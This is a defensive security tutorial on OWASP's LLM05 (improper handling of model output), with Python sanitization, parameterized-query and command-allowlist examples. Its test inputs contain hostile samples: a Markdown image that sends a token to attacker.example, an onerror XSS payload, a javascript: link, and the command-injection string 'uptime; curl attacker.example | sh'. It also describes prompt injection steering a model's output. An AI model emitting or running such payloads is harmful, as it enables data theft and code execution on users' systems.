LLM Output Handling: Treat Model Output as Untrusted Input

A model’s output feels like your application’s own text. It isn’t. Anyone who can influence the prompt, directly or through a web page, email or file the model reads, can influence what comes out. When that output is rendered as HTML, run as SQL, passed to a shell or used as a file path, the attacker’s influence reaches those systems too. OWASP’s Top 10 for LLM Applications calls this LLM05:2025 Improper Output Handling.

Scope. Based on OWASP’s LLM05:2025 entry (read from the project’s GitHub repository on October 22, 2026). The Python examples were run with Python 3.13, Python-Markdown 3.10.3, nh3 0.3.7 (a Python binding to the Rust Ammonia sanitizer), Pydantic 2.13.5 and SQLite. They demonstrate patterns; they are not a complete defense for any particular application.

What OWASP covers

OWASP defines LLM05 as “insufficient validation, sanitization, and handling of the outputs generated by large language models before they are passed downstream to other components and systems”. It notes that because output can be controlled through the prompt, this is “similar to providing users indirect access to additional functionality”. It separates LLM05 from overreliance: LLM05 is about what happens to output before it goes downstream, not about whether the output is accurate.

OWASP’s common examples:

OWASP also lists conditions that raise the impact: giving the model more privileges than end users have, exposure to indirect prompt injection, third-party extensions that don’t validate inputs, no context-aware output encoding, and missing monitoring and rate limiting.

The rest of this article covers three of those destinations with patterns we ran.

1. Rendering Markdown and HTML

Chat interfaces usually render model output as Markdown. Markdown libraries commonly pass raw HTML through (Python-Markdown did in our test), so a model that has been told to emit <img src=x onerror=...> produces script execution in the user’s browser. Markdown images are a quieter problem: if the model emits ![x](https://attacker.example/c?d=SECRET), the browser fetches that URL when it renders the image, sending whatever the model put in it. One of OWASP’s reference links describes this technique against a chat interface.

The pattern: convert Markdown to HTML, then sanitize the HTML with an allowlist, and only allow images from hosts you control.

import markdown, nh3

ALLOWED_TAGS = {"p", "ul", "ol", "li", "strong", "em", "code", "pre", "a", "img", "blockquote"}
IMG_HOSTS = ("https://cdn.example.com/",)

def drop_foreign_images(tag, name, value):
    if tag == "img" and name == "src":
        return value if value.startswith(IMG_HOSTS) else None
    return value

def render_model_markdown(text: str) -> str:
    html = markdown.markdown(text)
    return nh3.clean(html, tags=ALLOWED_TAGS,
                     attributes={"a": {"href"}, "img": {"src", "alt"}},
                     url_schemes={"https"},
                     attribute_filter=drop_foreign_images)

We fed it this model output:

Here is your summary. ![x](https://attacker.example/c?d=SECRET_TOKEN)

<img src=x onerror=alert(1)> [click](javascript:alert(1)) ![logo](https://cdn.example.com/logo.png)

Result:

<p>Here is your summary. <img alt="x"></p>
<p><img> <a rel="noopener noreferrer">click</a> <img alt="logo" src="https://cdn.example.com/logo.png"></p>

The onerror handler and the javascript: link are gone, the attacker’s image URL was stripped, and the image from the allowed host survived. If you don’t need images or links in model output, leave them out of the allowlist entirely. OWASP also recommends a strict Content Security Policy as a second layer; our nonce-based CSP guide covers that, and an img-src directive limited to your own hosts blocks the image exfiltration path even if sanitization misses something.

If you display output as plain text, you don’t need a sanitizer: HTML-encode it, which is what most template engines do by default unless you mark the content as safe.

2. Database queries

OWASP’s third scenario is a chat feature that writes SQL; a user asks for a query that deletes all tables, and the application runs it. OWASP recommends parameterized queries for any database operation involving model output.

The stronger design is to not let the model write SQL at all. Let it choose from operations you define and fill in typed parameters, which you validate before they go anywhere near the database:

from typing import Literal
from pydantic import BaseModel, ConfigDict, Field

class OrderQuery(BaseModel):
    model_config = ConfigDict(extra="forbid")
    status: Literal["open", "shipped", "cancelled"]
    limit: int = Field(default=20, ge=1, le=100)

def run_order_query(db, model_json: str, customer_id: int):
    q = OrderQuery.model_validate_json(model_json)
    return db.execute(
        "SELECT id, status FROM orders WHERE customer_id = ? AND status = ? LIMIT ?",
        (customer_id, q.status, q.limit)).fetchall()

Three details matter. The SQL text is yours. The values are bound as parameters. And customer_id comes from the authenticated session, not from the model, so a prompt can’t redirect the query to another customer’s data. We tested it against an in-memory SQLite table:

Most model APIs can be asked to return output that follows a JSON schema, which makes this pattern practical. Validate anyway: a schema request is not a guarantee.

3. Shell commands and tool calls

OWASP’s first example is model output passed to a shell, exec or eval. The fix is the same shape: the model picks an action by name, your code maps the name to a fixed command, and nothing the model writes is interpreted by a shell.

import subprocess

ACTIONS = {"disk_usage": ["df", "-h"], "uptime": ["uptime"]}

def run_action(model_choice: str):
    argv = ACTIONS.get(model_choice)
    if argv is None:
        raise ValueError(f"action not allowed: {model_choice!r}")
    return subprocess.run(argv, capture_output=True, text=True, timeout=10, check=False).stdout

In our test, "uptime" ran the command, and "uptime; curl attacker.example | sh" was rejected because it isn’t a key in the table. If an action needs an argument, such as a file name, validate it against a pattern and pass it as a separate list element, never by building a command string. For file paths, resolve the path and check it is inside the directory you expect before opening it.

The same logic applies to agent tools that call internal APIs. OWASP’s first scenario describes a general-purpose model passing its output, unvalidated, to an extension with administrative functions. Give each tool the narrowest permission it needs, and validate tool arguments in the tool, not in the prompt.

A checklist

• List every place model output goes: browser, database, shell, file system, email, other APIs, other models.
• For each, decide the encoding or validation that destination needs, as you would for user input. OWASP points to the ASVS (Application Security Verification Standard) for validation and encoding guidance.
• Prefer structured output with an allowlist (actions, enums, typed fields) over free text that you parse.
• Take identity and authorization from the session, never from model output.
• Sanitize rendered Markdown or HTML with an allowlist, and restrict image and link destinations.
• Log model outputs that reach sensitive sinks, and alert on validation failures. A spike in rejected tool calls is a useful signal of injection attempts.
• Rate-limit model usage; OWASP lists missing rate limiting and anomaly detection as impact amplifiers.

These controls limit what a manipulated model can do. They don’t stop the manipulation, which is OWASP’s LLM01:2025 Prompt Injection. If you are new to how request forgery from a server works, our SSRF explainer covers the SSRF outcome OWASP mentions.

Limits of this article

The examples cover three destinations and were run in isolation, not inside a model-driven application. The sanitizer configuration is a starting point; review it against the content your interface actually needs. We did not test any specific model or vendor API, and we did not independently verify the incidents OWASP links as references.

Sources and verification

Checked on October 22, 2026.

Llm SecurityOwaspXssSql InjectionPython